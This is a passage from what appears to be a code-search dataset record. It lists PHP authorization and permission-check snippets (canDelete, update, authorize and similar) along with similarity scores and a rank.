}\n\n //check permissions via the report\n $report_instance = php_report::get_default_instance($report_shortname, NULL, php_report::EXECUTION_MODE_SCHEDULED);\n return $report_instance !== false;\n }",
"protected function canUpdateStatus() {\n return $this->canUpdate() &&\n parent::can(PERM_SOCIALQUESTIONCOMMENT_UPDATE_STATUS, $this->getEmptyComment());\n }",
"public function get_update_availability()\n {\n clearos_profile(__METHOD__, __LINE__);\n\n $payload = $this->request('CheckForUpdate');\n\n if (preg_match('/' . self::CONSTANT_DO_UPDATE . 'true/i', $payload))\n return TRUE;\n else\n return FALSE;\n }",
"public function canBeUpdated()\n {\n return $this->isNotYetSubmitted();\n }",
"function has_schedule_caps( $user_id ) {\r\n $is_ok = true;\r\n \r\n //Treat super admins\r\n if( is_super_admin( $user_id ) ) {\r\n $this->add_schedule_caps( $user_id );\r\n }\r\n \r\n $user = new WP_User( $user_id );\r\n foreach( $this->caps as $c )\r\n if ( !$user->has_cap( $c ) )\r\n $is_ok = false;\r\n \r\n if( !get_option( 'bpsp_allow_only_admins' ) )\r\n if( !bp_group_is_admin() )\r\n $is_ok = false;\r\n \r\n return $is_ok;\r\n }",
"private function allowModify()\n { \n if($this->viewVar['loggedUserRole'] <= 40 )\n {\n return TRUE;\n }\n else\n {\n return FALSE;\n }\n }",
"public function canModifyVisibilityOfUsers();",
"public function update_availability()\n\t{\n\t\tdate_default_timezone_set(\"Asia/Kolkata\");\n\t\t$res=date('Y-m-d H:i', time());\n\t\techo $res;\n\t\t$data=$this->Setting_model->check_end(); \n\t\tforeach($data as $key)\n\t\t{ $id=$key->id;\n\t\t\t$user_id= $key->user_id;\n\t\t\t//echo $id; echo $user_id;\n\t\t\t$date_time=$key->dates .' '.$key->end_time;\n\t\t\tif($res==$date_time)\n\t\t\t{\n\t\t\t\t//echo \"yess\";\n\t\t\t \t$this->Setting_model->update_time($id,$user_id);\n\t\t\t}\n\t\t}\n\t}",
"abstract public function isUpdatableByUser(User $user);",
"public function canUpdate(IdentityInterface $user, sketch $sketch)\n {\n return true;\n }",
"function canEdit() {\r\n\t\tif($this->owner->ID == Member::currentUserID())\r\n\t\t\treturn true;\r\n\r\n\t\t$member = Member::currentUser();\r\n\t\tif($member)\r\n\t\t\treturn $member->isAdmin();\r\n\r\n\t\treturn false;\r\n\t}",
"public function isAutoUpdatingValues(): bool;",
"public function isBlocked()\n {\n if ($this->edit_id === 0) {\n return false;\n } else {\n if ($this->edit_time + 7200 > time()) {\n return true;\n } else {\n return false;\n }\n }\n }",
"public function update(User $user, User $model)\n {\n if ($model->hasRole(AuthServiceProvider::SUPER)) return false;\n if ($user->hasRole(AuthServiceProvider::ADMIN)) return true;\n if ($user->hasPermissionTo('benutzer-bearbeiten')) {\n foreach ($model->homeCities as $city) {\n if ($city->administeredBy($user)) return true;\n }\n }\n return false;\n }",
"function userCanModifyUser( $sessionID, $username ) {\r\n\t\treturn $this->getAccessLevel() > 9;\r\n\t}",
"private function validateUpdate() {\n\t\t$this->context->checkPermission(\\Scrivo\\AccessController::WRITE_ACCESS);\n\t}",
"public function isAuthed() {\n return $this->state == 2;\n }",
"public function hasTime(){\n return $this->_has(6);\n }",
"public function isUpdateRequired()\n {\n $CacheCreated = filemtime($this->cachedPath);\n $CacheRenewal = $CacheCreated + $this->CacheLife;\n if(time() >= $CacheRenewal)\n return true;\n else\n return false;\n }",
"public function isPasswordChangeEnabled();",
"public function update(User $user, Task $task)\n {\n if ($user->isAdmin()) {\n return true;\n } else if ($user->isChair($task->conference) || $user->isCaptain($task->conference)) {\n return true;\n } else {\n return false;\n }\n }",
"function allowAction() {\r\n $now = time();\r\n if ($this->check)\r\n $FT = $this->getFileCreationTime($this->controlFile);\r\n if ($FT) {\r\n $nextExec = $FT + ($this->minDelay * 60) - $now;\r\n if ($nextExec < 0) {\r\n $handle = fopen($this->controlFile, \"w\");\r\n if (!$handle)\r\n return false;\r\n else {\r\n if (!fwrite($handle, $now))\r\n return false;\r\n else {\r\n fclose($handle);\r\n $this->lastExec = $now;\r\n $this->nextExec = $now + ($this->minDelay * 60);\r\n $this->secToExec = $this->minDelay * 60;\r\n return true;\r\n }\r\n }\r\n } else {\r\n $this->lastExec = $FT;\r\n $this->nextExec = $FT + $nextExec;\r\n $this->secToExec = $nextExec;\r\n return false;\r\n }\r\n } else\r\n return false;\r\n }",
"public function update(User $user, Task $task): bool\n {\n // Any authenticated user can modify a task\n return true;\n }",
"function checkEverytime()\n {\n // ######### Respond in time and maybe also right ###########\n\n // Schnellfeuer\n if (!$this->achieve_array[5][2]) {\n if (count($this->timestamps) > 0) {\n if ((getdate()[0] - end($this->timestamps) <= 2) and ($this->last_evaluation)) {\n $this->achievementsToDisplay[$this->generateFilename($this->achieve_array[0][2])] = $this->achieve_array[2][2];\n $this->last_achievement = $this->achieve_array[0][2];\n $this->achieve_array[5][2] = true;\n $this->achievementCounter++;\n }\n }\n }\n // Luftschuss\n if (!$this->achieve_array[5][60]) {\n if (count($this->timestamps) > 0) {\n if (getdate()[0] - end($this->timestamps) <= 2) {\n $this->achievementsToDisplay[$this->generateFilename($this->achieve_array[0][60])] = $this->achieve_array[2][60];\n $this->last_achievement = $this->achieve_array[0][60];\n $this->achieve_array[5][60] = true;\n $this->achievementCounter++;\n }\n }\n }\n // Spritner\n if (!$this->achieve_array[5][3]) {\n if (count($this->timestamps) > 4) {\n if (getdate()[0] - $this->timestamps[count($this->timestamps) - 5] <= 30) {\n $this->achievementsToDisplay[$this->generateFilename($this->achieve_array[0][3])] = $this->achieve_array[2][3];\n $this->last_achievement = $this->achieve_array[0][3];\n $this->achieve_array[5][3] = true;\n $this->achievementCounter++;\n }\n }\n }\n // Marathonläufer\n if (!$this->achieve_array[5][61]) {\n if (count($this->timestamps) > 9) {\n if (getdate()[0] - $this->timestamps[count($this->timestamps) - 10] <= 60) {\n $this->achievementsToDisplay[$this->generateFilename($this->achieve_array[0][61])] = $this->achieve_array[2][61];\n $this->last_achievement = $this->achieve_array[0][61];\n $this->achieve_array[5][61] = true;\n $this->achievementCounter++;\n }\n }\n }\n // Lichtgeschwindigkeit\n if (!$this->achieve_array[5][62]) {\n if (count($this->timestamps) > 9) {\n if (getdate()[0] - $this->timestamps[count($this->timestamps) - 10] <= 5) {\n $this->achievementsToDisplay[$this->generateFilename($this->achieve_array[0][62])] = $this->achieve_array[2][62];\n $this->last_achievement = $this->achieve_array[0][63];\n $this->achieve_array[5][62] = true;\n $this->achievementCounter++;\n }\n }\n }\n // ######### Do nothing for some time #########\n\n // Eingeschlafen?\n if (!$this->achieve_array[5][1]) {\n if (count($this->timestamps) > 0) {\n if (getdate()[0] - end($this->timestamps) >= 30) {\n $this->achievementsToDisplay[$this->generateFilename($this->achieve_array[0][1])] = $this->achieve_array[2][1];\n $this->last_achievement = $this->achieve_array[0][1];\n $this->achieve_array[5][1] = true;\n $this->achievementCounter++;\n }\n }\n }\n // Stillgestanden\n if (!$this->achieve_array[5][58]) {\n if (count($this->timestamps) > 0) {\n if (getdate()[0] - end($this->timestamps) >= 5) {\n $this->achievementsToDisplay[$this->generateFilename($this->achieve_array[0][58])] = $this->achieve_array[2][58];\n $this->last_achievement = $this->achieve_array[0][58];\n $this->achieve_array[5][58] = true;\n $this->achievementCounter++;\n }\n }\n }\n // Toilettenpause\n if (!$this->achieve_array[5][59]) {\n if (count($this->timestamps) > 0) {\n if (getdate()[0] - end($this->timestamps) >= 600) {\n $this->achievementsToDisplay[$this->generateFilename($this->achieve_array[0][59])] = $this->achieve_array[2][59];\n $this->last_achievement = $this->achieve_array[0][59];\n $this->achieve_array[5][59] = true;\n $this->achievementCounter++;\n }\n }\n }\n\n }",
"protected function isPowerUser()\n {\n return $this->user->can('sys_properties_edit', $this->app->modules[$this->area]);\n }",
"function attendance_check_allow_update($sessionid) {\n global $DB;\n return $DB->record_exists('attendance_sessions', ['studentscanmark' => 1, 'allowupdatestatus' => 1, 'id' => $sessionid]);\n}",
"function isAuthed ()\r\n\t{\r\n\t\tif ((strlen($this->acUserAuth) > 0 ? $this->acUserAuth : 0) >= $this->acPageAuth)\r\n\t\t{\r\n\t\t\t$status = true;\r\n\t\t} else\r\n\t\t{\r\n\t\t\t$status = false;\r\n\t\t}\r\n\t\treturn $status;\r\n\t}",
"function hasRecentlyAction() {\n\n\t\t$limit = date('U') + (60 * 60 * $system[\"config\"][\"system\"][\"parameters\"][\"applicationTimeZoneGMT\"][\"value\"]) - (2 * 60 * 60);\n\n\t\tif ($this->isLoged() && $this->getLastAction('U') < $limit)\n\t\t\treturn false;\n\t\telse\n\t\t\treturn true;\n\t}",
"public function update(User $user)\n {\n return $user->admin == false;\n }",
"public function update(User $user, Option $option)\n {\n return true;\n }",
"public function checkTimeEnd(): bool;",
"public function authorize(): bool\n {\n // only allow updates if the user is logged in\n return backpack_auth()->check();\n }",
"public function update(User $user)\n {\n if ($user->can('update_permission') || $user->can('manage_permissions')) {\n return true;\n }\n\n return false;\n }",
"function isChallengeOpen($challenge_id) {\n $challenges = challenges();\n $enddate = strtotime($challenges[$challenge_id]['enddate']);\n $type = $challenges[$challenge_id]['type'];\n $open = $challenges[$challenge_id]['open'];\n if(!$open) {\n return false;\n }\n if ($type == 'public' || $type == 'private') {\n return true;\n }\n if ($type == 'protected') {\n if ($enddate > time()) {\n return true;\n } else {\n return false;\n }\n }\n}",
"public function authorize(): bool\n {\n // only allow updates if the user is logged in\n return Auth::check();\n }",
"public function checkAdmin() {\n if (self::redirectIfNotLoggedIn()) {\n return TRUE;\n }\n\n if (!LoggedInUserDetails::isCrew() && !LoggedInUserDetails::hasFullRights()) {\n if (\\Drupal::moduleHandler()->moduleExists('iish_conference_login_logout')) {\n $link = Link::fromTextAndUrl(\n iish_t('log out and login'),\n Url::fromRoute(\n 'iish_conference_login_logout.login_form',\n array(),\n array('query' => \\Drupal::destination()->getAsArray())\n )\n );\n\n drupal_set_message(new ConferenceHTML(\n iish_t('Access denied.') . '<br>' .\n iish_t('Current user ( @user ) is not a conference crew member.',\n array('@user' => LoggedInUserDetails::getUser())) . '<br>' .\n iish_t('Please @login as a crew member.',\n array('@login' => $link->toString())), TRUE\n ), 'error');\n }\n else {\n drupal_set_message(iish_t('Access denied.') . '<br>' .\n iish_t('Current user ( @user ) is not a conference crew member.',\n array('@user' => LoggedInUserDetails::getUser())), 'error');\n }\n\n return TRUE;\n }\n\n return FALSE;\n }",
"public function update(User $user)\n {\n if ($user->can('update plans')) {\n return true;\n }\n }",
"public function authorize()\n {\n $person = $this->findFromUrl('person');\n\n return $this->user()->can('update', $person);\n }",
"public function shouldNiceBeUpdated( $forcedUpdate = false ) {\n $lastFetchedNICE = FileUtils::readCookie( self::COOKIE_LAST_FETCH_NICE );\n $lastCheckedNICE = ( ! $forcedUpdate ) ? FileUtils::readCookie( self::COOKIE_LAST_CHECK_NICE ) : 0;\n $checkPoint = strtotime( \"13:00:00\" );\n $now = time();\n if ( $now < $checkPoint ) return false; // only check for update after 13.00 hours.\n if ( date( 'j', $checkPoint) == date( 'j', $lastFetchedNICE ) ) return false; // only update once a day.\n $checkInterval = 1800; // only check for update once every half hour \n if ( ( $now - $lastCheckedNICE ) < $checkInterval ) return false; \n return true;\n }",
"public function update(User $user, Information $information)\n {\n return in_array($user->type, [User::ADMINISTRATOR_TYPE]);\n }",
"public function hasCTime(){\n return $this->_has(6);\n }",
"public function testVolunteerHourContactEditSuccess_Administrator()\n {\n // Set test user as current authenticated user\n $this->be($this->administrator);\n \n $this->session([\n 'username' => $this->administrator->username, \n 'access_level' => $this->administrator->access_level\n ]);\n \n $volunteerID = 2;\n // Call route under test\n $response = $this->call('GET', 'volunteerhours/volunteerEdit/'.$volunteerID);\n \n $this->assertContains(\"Editing Volunteer Hours for\", $response->getContent());\n }",
"public function check_avail(){ \n\t\tif(!empty($this->data['HrPermission']['per_from']) && !empty($this->data['HrPermission']['per_to']) && !empty($this->data['HrPermission']['per_date'])){\n\t\t\t// get used leave\n\t\t\t$date_str = $this->get_search_date($this->data['HrPermission']['per_date']);\n\t\t\t$this->unBindModel(array('hasOne' => array('HrPerStatus', 'HrPerUser')));\t\t\t\n\t\t\t$data = $this->find('all', array('fields' => array(\"TIME_FORMAT(SEC_TO_TIME( SUM( TIME_TO_SEC(no_hrs))), '%k:%i') as count\", 'HrPermission.id'), \n\t\t\t'conditions' => array('HrPermission.app_users_id' => $this->data['HrPermission']['user_id'], 'HrPermission.is_deleted' => 'N', 'is_approve !=' => 'R', \n\t\t\t'per_date like' => $date_str.'%')));\t\t\t\n\t\t\t$used = $data[0][0]['count'];\n\t\t\t\n\t\t\tif(empty($used)){\t\n\t\t\t\t$total_hrs = $this->data['HrPermission']['no_hrs'];\n\t\t\t}else{\n\t\t\t\t$total_hrs = $this->add_time($used, $this->data['HrPermission']['no_hrs']);\t\n\t\t\t}\n\t\t\t// find total usable hours\t\t\t\t\t\n\t\t\t$total_hrs = explode(':', $total_hrs);\t\t\t\n\t\t\t$avail = 2;\t\t\t\t\n\t\t\tif(($total_hrs[0] >= $avail && $total_hrs[1] > 0) || ($total_hrs[0] > 2)){ \n\t\t\t\treturn false;\n\t\t\t}else{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}",
"public function isUpdated() {}",
"public function authorize() {\n\t\t$this->sport = $this->route('sport');\n\t\tif ($this->competitionDay = $this->route('competitionDay')) {\n\t\t\treturn $this->user()->can('update', $this->competitionDay);\n\t\t}\n\n\t\t$this->competitionDay = new CompetitionDay();\n\t\treturn $this->user()->can('create', CompetitionDay::class);\n\t}",
"public function lastEditedIn($time): bool;",
"protected function checkSchedulerUser() {}",
"public function update(User $user, User $model): bool\n {\n return $user->isRole('admin') || (\n $user->is($model) &&\n $user->tokenCan('users:update')\n );\n }",
"public function update(User $user, ChanUser $chanUser, Chan $chan)\n {\n return $user->isAdmin() || $chan->isAdmin($user);\n }",
"public function checkSupport()\n {\n if ($this->supported == null) {\n $community = $this->scope()->first();\n $expireDays = intval($community->rules()->where('rule_id', 2)->first()->pivot->value);\n $expireDate = $this->created_at->addDays($expireDays);\n $date = Carbon::now();\n if ($expireDate > $date) {\n $percentNeeded = intval($community->rules()->where('rule_id', 3)->first()->pivot->value);\n $users_count = $community->users()->count();\n //Community's users needed supporting the initiative\n $needed = intval(ceil($users_count / 100.0 * $percentNeeded));\n if ($this->supportedBy()->count() >= $needed) {\n //the voting period starts now and his duration is calculated with de updated_at column\n // updated now and the voting duration rule of the community\n //TODO send notifications to community users about a new initiative to be voted\n $this->supported = true;\n $this->save();\n return true;\n } else return false;\n } else {\n $this->supported = false;\n $this->save();\n return false;\n }\n } else return $this->supported;\n }",
"public function update(User $user, MeetingRoom $model)\n {\n return $user->hasPermissionTo('update meetingrooms');\n }",
"public static function updateWhoIsOnline()\n {\n $users = User::all();\n foreach($users as $u)\n {\n $lastPing = $u->last_ping;\n $twoMinAgo = Carbon::now()->subMinutes(2);\n $result = Carbon::createFromFormat('Y-m-d H:i:s', $lastPing);\n\n if($twoMinAgo->lt($result))\n {\n $u->is_online = 1;\n $u->save();\n }\n else\n {\n $u->is_online = 0;\n $u->save();\n }\n }\n }",
"function userCanModifyFW( $sessionID ) {\r\n\t\tif($this->getAccessLevel() >= 8) return true;\r\n return false;\r\n\t}",
"public function authorize()\n {\n return $this->user()->can('update', \\App\\Models\\Member::withTrashed()->find($this->id));\n }"
]
| [
"0.6577235",
"0.6414075",
"0.63316137",
"0.6286341",
"0.6232825",
"0.61627585",
"0.6065074",
"0.60233814",
"0.5983474",
"0.59746933",
"0.5972358",
"0.5967766",
"0.5873201",
"0.58672684",
"0.58431685",
"0.5793943",
"0.5787063",
"0.5767391",
"0.576029",
"0.5743483",
"0.57411474",
"0.5727966",
"0.57063085",
"0.57063085",
"0.56981987",
"0.5691673",
"0.56913096",
"0.5690894",
"0.5674055",
"0.5655672",
"0.56131536",
"0.5610412",
"0.55873716",
"0.55854493",
"0.55626833",
"0.554397",
"0.554287",
"0.5535953",
"0.55350417",
"0.5503808",
"0.54859465",
"0.54763407",
"0.54723614",
"0.54612935",
"0.5458347",
"0.5444106",
"0.54293036",
"0.54257286",
"0.5424409",
"0.54222786",
"0.5411391",
"0.5400417",
"0.5394735",
"0.53943825",
"0.5392984",
"0.53858954",
"0.5384431",
"0.53841543",
"0.5380748",
"0.5380306",
"0.5379858",
"0.53794515",
"0.5378777",
"0.53786635",
"0.5370941",
"0.53598225",
"0.5357077",
"0.5355041",
"0.534741",
"0.5335513",
"0.5334201",
"0.5327654",
"0.5310867",
"0.53078383",
"0.53046006",
"0.53034616",
"0.5289919",
"0.52736336",
"0.5269807",
"0.5269582",
"0.5265298",
"0.52637184",
"0.5255558",
"0.5246909",
"0.52468944",
"0.5240085",
"0.52375066",
"0.5237224",
"0.52319926",
"0.52319807",
"0.5213897",
"0.5212032",
"0.52042234",
"0.5201086",
"0.51983154",
"0.5197906",
"0.51951015",
"0.519065",
"0.51848143",
"0.5183669"
]
| 0.7107028 | 0 |
Determine whether the user can delete the hour. | public function delete($user, Hour $hour)
{
if (!ClubHelper::settings($hour->club->id)->allow_delete && !isAdmin()) {
return false;
}
return (!$hour->end_time)
? $hour->user_id === $user->id : isAdmin() === true;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function canDelete() {\n return true;\n }",
"public function can_delete () {\r\n\r\n return $this->permissions[\"D\"] ? true : false;\r\n\r\n }",
"public function canDelete()\n {\n return 1;\n }",
"function canDelete($user) {\n if($this->getId() == $user->getId()) {\n return false; // user cannot delete himself\n } // if\n\n if($this->isAdministrator() && !$user->isAdministrator()) {\n return false; // only administrators can delete administrators\n } // if\n\n return $user->isPeopleManager();\n }",
"function CanDelete()\n\t{\t\n\t\t\n\t\tif ($this->id && !$this->GetLocations() && $this->CanAdminUserDelete())\n\t\t{\n\t\t\t// courses\n\t\t\t$sql = \"SELECT cid FROM courses WHERE city=\" . (int)$this->id;\n\t\t\tif ($result = $this->db->Query($sql))\n\t\t\t{\tif ($this->db->NumRows($result))\n\t\t\t\t{\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t\t\n\t}",
"public function delete(): bool\n {\n return $this->isAllowed(self::DELETE);\n }",
"function userCanDeleteUser( $sessionID, $username ) {\r\n\t\treturn $this->getAccessLevel() > 9;\r\n\t}",
"public function canDelete()\n {\n $user = $this->getUser();\n\n if ($user->getData('role') == 'Admin' && $this->getData('status') != Service\\BalanceWithdrawals::STATUS_PENDING) {\n return true;\n }\n\n return false;\n }",
"public function canDelete()\n {\n return $this->canGet();\n }",
"function canDelete(User $user) {\n return $user->canManageTrash();\n }",
"public function canDelete()\n {\n return in_array('delete', $this->actions);\n }",
"public function canDelete()\n {\n return Auth::user() && ( $this->sender_id === Auth::id() || $this->recipient_id === Auth::id() );\n }",
"function userCanDeleteInterim( $sessionID ) {\r\n\t\treturn $this->getAccessLevel() > 8;\r\n\t}",
"protected function canDelete($record) { return false; }",
"function CanDelete()\n\t{\treturn !count($this->subpages) && $this->CanAdminUserDelete();\n\t}",
"public function canDelete($userId = \"\")\n {\n\n if ($userId == \"\")\n $userId = Yii::$app->user->id;\n\n if ($this->user_id == $userId)\n return true;\n\n if (Yii::$app->user->isAdmin()) {\n return true;\n }\n\n if ($this->container instanceof Space && $this->container->isAdmin($userId)) {\n return true;\n }\n\n return false;\n }",
"public function canBeDeleted() : bool\n\t{\n\t\t$countUsers = $this->users()->lockForUpdate()->count();\n\t\t$isFuture = $this->flight_at->isFuture();\n\n\t\tif ($countUsers === 0 && $isFuture) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}",
"public function isDelete();",
"public function can_destroy() {\n $query = DB::connection()->prepare('SELECT * FROM Customervisit WHERE customer_id=:id LIMIT 1');\n $query->execute(array('id' => $this->id));\n $row = $query->fetch();\n //There should be no customervisits for customer.\n return empty($row);\n }",
"function canDelete($user) {\n if($this->isOwner() || $user->getCompanyId() == $this->getId()) {\n return false; // Owner company cannot be deleted. Also, user cannot delete company he belongs to\n } // if\n return $user->isPeopleManager();\n }",
"protected function canDelete($record)\n\t{\n\t\tif(!empty($record->id))\n\t\t{\n\t\t return Factory::getUser()->authorise(\n\t\t\t\t\"core.delete\",\n\t\t\t\t\"com_dinning_philosophers.dinning_philosophers.\".$record->id\n\t\t\t);\n\t\t}\n\t}",
"function canDelete(User $user) {\n return $user->isFinancialManager();\n }",
"public function canDelete()\n {\n $exist = $this->getModelObj('permission')->where(['resource_code' => $this->code, 'app' => $this->app])->first();\n if ($exist) {\n return false;\n }\n return true;\n }",
"public function isHour() : bool {\n $hoursArr = $this->taskDetails['hours'];\n $retVal = true;\n\n if ($hoursArr['every-hour'] !== true) {\n $retVal = false;\n $current = TasksManager::getHour();\n $ranges = $hoursArr['at-range'];\n\n foreach ($ranges as $range) {\n if ($current >= $range[0] && $current <= $range[1]) {\n $retVal = true;\n break;\n }\n }\n\n if ($retVal === false) {\n $retVal = $this->isHourHelper($hoursArr, $current);\n }\n }\n\n return $retVal;\n }",
"protected function canDelete($record)\n {\n return true;\n }",
"public function testAllowDelete()\n {\n $this->logOut();\n $deleteFalse = LogEntry::create()->canDelete(null);\n $this->assertFalse($deleteFalse);\n\n $this->logInWithPermission('ADMIN');\n $deleteTrue = LogEntry::create()->canDelete();\n $this->assertTrue($deleteTrue);\n }",
"function canTrash(User $user) {\n if ($this->object->getState() == STATE_TRASHED) {\n return false;\n } // if\n\n\t $user_id = $user->getId();\n\n\t if(!array_key_exists($user_id, $this->can_delete)) {\n\t\t if($this->object->isOwner() || $user->getCompanyId() == $this->object->getId()) {\n\t\t\t $this->can_delete[$user_id] = false;\n\t\t } else {\n\t\t\t $has_last_admin = false;\n\n\t\t\t $users = $this->object->users()->get($user);\n\t\t\t if(is_foreachable($users)) {\n\t\t\t\t foreach($users as $v) {\n\t\t\t\t\t if($v->isLastAdministrator()) {\n\t\t\t\t\t\t $this->can_delete[$user_id] = false;\n\n\t\t\t\t\t\t $has_last_admin = true;\n\t\t\t\t\t\t break;\n\t\t\t\t\t } // if\n\t\t\t\t } // foreach\n\t\t\t } // if\n\n\t\t\t if(!$has_last_admin) {\n\t\t\t\t $this->can_delete[$user_id] = $user->isPeopleManager();\n\t\t\t } // if\n\t\t } // if\n\t } // if\n\n\t return $this->can_delete[$user_id];\n }",
"public function isDelete(): bool {}",
"public function allowDeletion()\n {\n return $this->allowDeletion;\n }",
"abstract function allowDeleteAction();",
"public function canDelete()\n\t{\n\t\tif ( $this->deleteOrMoveQueued() === TRUE )\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\tif( static::restrictionCheck( 'delete' ) )\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tif( static::$ownerTypes['member'] !== NULL )\n\t\t{\n\t\t\t$column\t= static::$ownerTypes['member'];\n\n\t\t\tif( $this->$column == \\IPS\\Member::loggedIn()->member_id )\n\t\t\t{\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif( static::$ownerTypes['group'] !== NULL )\n\t\t{\n\t\t\t$column\t= static::$ownerTypes['group']['ids'];\n\n\t\t\t$value = $this->$column;\n\t\t\tif( count( array_intersect( explode( \",\", $value ), \\IPS\\Member::loggedIn()->groups ) ) )\n\t\t\t{\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\n\t\treturn FALSE;\n\t}",
"public function authorize(): bool\n {\n return Gate::allows('admin.genero.delete', $this->genero);\n }",
"public function forceDelete(User $user, Hour $hour)\n {\n // Handled by admin middleware\n }",
"protected function canDelete() {\n return $this->canUpdate() &&\n parent::can(PERM_SOCIALQUESTIONCOMMENT_UPDATE_STATUS_DELETE, $this->getEmptyComment());\n }",
"protected function canDelete($record)\n\t{\n\t\tif(!empty($record->id))\n\t\t{\n\t\t\treturn Factory::getUser()->authorise(\"core.delete\", \"com_bookingmanager.customer.\" . $record->id);\n\t\t}\n\t}",
"public function canDelete($identifier = null);",
"public function isDeleteGranted($entity): bool;",
"protected function canDelete($record)\r\n\t{\n\t\tif (!empty($record->id))\n\t\t{\n\t\t\tif ($record->published != -2)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$user = JFactory::getUser();\n\t\t\t// The record has been set. Check the record permissions.\n\t\t\treturn $user->authorise('meeting.delete', 'com_bigbluebutton.meeting.' . (int) $record->id);\n\t\t}\n\t\treturn false;\r\n\t}",
"protected function hasActiveUserDeletePermissionForThisUser()\n {\n if (true === $this->bAllowEditByAll) {\n return true;\n }\n if (true === $this->IsOwner()) {\n return false;\n }\n /** @var SecurityHelperAccess $securityHelper */\n $securityHelper = ServiceLocator::get(SecurityHelperAccess::class);\n\n if (false === $securityHelper->isGranted(CmsPermissionAttributeConstants::TABLE_EDITOR_DELETE, $this->oTableConf->fieldName)) {\n return false;\n }\n\n if (true === $securityHelper->isGranted(CmsUserRoleConstants::CMS_ADMIN)) {\n return true;\n }\n\n if ($this->sId === $securityHelper->getUser()?->getId()) {\n // you cannot delete yourself.\n return false;\n }\n\n $oTargetUser = TdbCmsUser::GetNewInstance($this->sId);\n\n // Also, the user may only delete users that have at least one portal in common.\n $userPortals = $securityHelper->getUser()?->getPortals();\n if (null === $userPortals) {\n $userPortals = [];\n }\n $allowedPortals = array_keys($userPortals);\n $portalsOfTargetUser = $oTargetUser->GetFieldCmsPortalIdList();\n\n return 0 === \\count($portalsOfTargetUser) ||\n \\count(array_intersect($allowedPortals, $portalsOfTargetUser)) > 0;\n }",
"function permissions_delete()\n{\n // Deletion not allowed\n return false;\n}",
"public function delete() {\n $stmt = $this->pro->prepare('delete from user where id = :id');\n $stmt->bindValue(':id', $this->id);\n return $stmt->execute() == 1;\n }",
"public function authorize()\n {\n $represent = $this->getRepresent();\n\n return $represent->can('delete')\n && $represent->exists($this->route('id'));\n }",
"function canDelete($member = NULL)\n\t{\n\t\treturn true;\n\t}",
"public function canBeDeletedBy($user)\n {\n if ( ! ($user instanceof User)) {\n return false;\n }\n \n if ($this->isOwnedBy($user)) {\n \n // Allow a User to delete their own Key regardless of status.\n return true;\n \n } elseif ($user->isAdmin()) {\n \n /* Only allow someone else to delete a User's Key if they have the\n * appropriate authority and the Key has already been \"terminated\"\n * (for lack of a better word). */\n switch ($this->status) {\n case self::STATUS_DENIED:\n case self::STATUS_REVOKED:\n return true;\n\n default:\n return false;\n }\n }\n \n return false;\n }",
"public function canDelete()\n {\n if ( !SimpleForumTools::checkAccess($this->forumNode(), 'topic', 'remove') )\n {\n \treturn false;\n }\n \t\n return true;\n }",
"public function getCanDeleteAttribute()\n {\n // Are you the owner if the note?\n return Auth::id() == $this->user_id;\n }",
"public function delete() {\n\t\t$deleted = delete_metadata_by_mid( 'user', $this->get_id() );\n\n\t\tforeach ( get_user_meta( $this->get_user()->ID, self::META_KEY ) as $entry ) {\n\t\t\tif ( ! isset( $entry['created_at'] ) || $entry['created_at'] + HOUR_IN_SECONDS < ITSEC_Core::get_current_time_gmt() ) {\n\t\t\t\tdelete_user_meta( $this->get_user()->ID, self::META_KEY, $entry );\n\t\t\t}\n\t\t}\n\n\t\tif ( ! empty( $this->data['log'] ) ) {\n\t\t\tITSEC_Log::add_process_stop( $this->data['log'] );\n\t\t}\n\n\t\treturn $deleted;\n\t}",
"function is_admin_delete_course_info($info_id)\n\t{\n\t\t// If admin -> return 1 only they create\n\t\tif(get_Total_Lesson($info_id) < 1 && is_admin_edit_course_info($info_id) ){\n\t\t\treturn 1;\n\t\t}\n\t\treturn 0;\n\t}",
"public function delete(User $user, Task $task)\n {\n if ($user->isAdmin()) {\n return true;\n } else if ($user->isChair($task->conference) || $user->isCaptain($task->conference)) {\n return true;\n } else {\n return false;\n }\n }",
"public function canDelete($record = null)\n\t{\n\t\t$record = $record ?: $this->_record;\n\t\t$user = JFactory::getUser();\n\n\t\treturn $record->id < 7\n\t\t\t?\tfalse\n\t\t\t: $user->authorise('flexicontent.deletefield', 'com_flexicontent.field.' . $record->id);\n\t}",
"protected function canDelete($record)\n\t{\n\t\tif (!empty($record->id))\n\t\t{\n\t\t\tif ($record->state != -2)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\t$user = JFactory::getUser();\n\t\t\t\n\t\t\treturn $user->authorise('core.delete', 'com_cooltouraman.course.' . (int) $record->id);\n\t\t}\n\n\t\treturn false;\n\t}",
"abstract public function isUndeleting();",
"abstract public function isUndeleting();",
"public function authorize()\n {\n return $this->can('delete');\n }",
"abstract public function shouldIDelete();",
"function deleteNotActivatedUsersIfTakingTooLong(){\n\ttry\n\t{\n\t\tinclude_once $_SERVER['DOCUMENT_ROOT'] . '/includes/db.inc.php';\n\n\t\t$pdo = connect_to_db();\n\n\t\t$sql = \"DELETE \t\n\t\t\t\tFROM \t`user`\n\t\t\t\tWHERE \tDATE_ADD(`create_time`, INTERVAL 8 HOUR) < CURRENT_TIMESTAMP\n\t\t\t\tAND \t`isActive` = 0\n\t\t\t\tAND\t\t`activationCode` IS NOT NULL\n\t\t\t\tAND\t\t`userID` <> 0\";\n\t\t$pdo->exec($sql);\n\n\t\treturn TRUE;\n\t}\n\tcatch(PDOException $e)\n\t{\n\t\t$pdo = null;\n\t\treturn FALSE;\n\t}\n}",
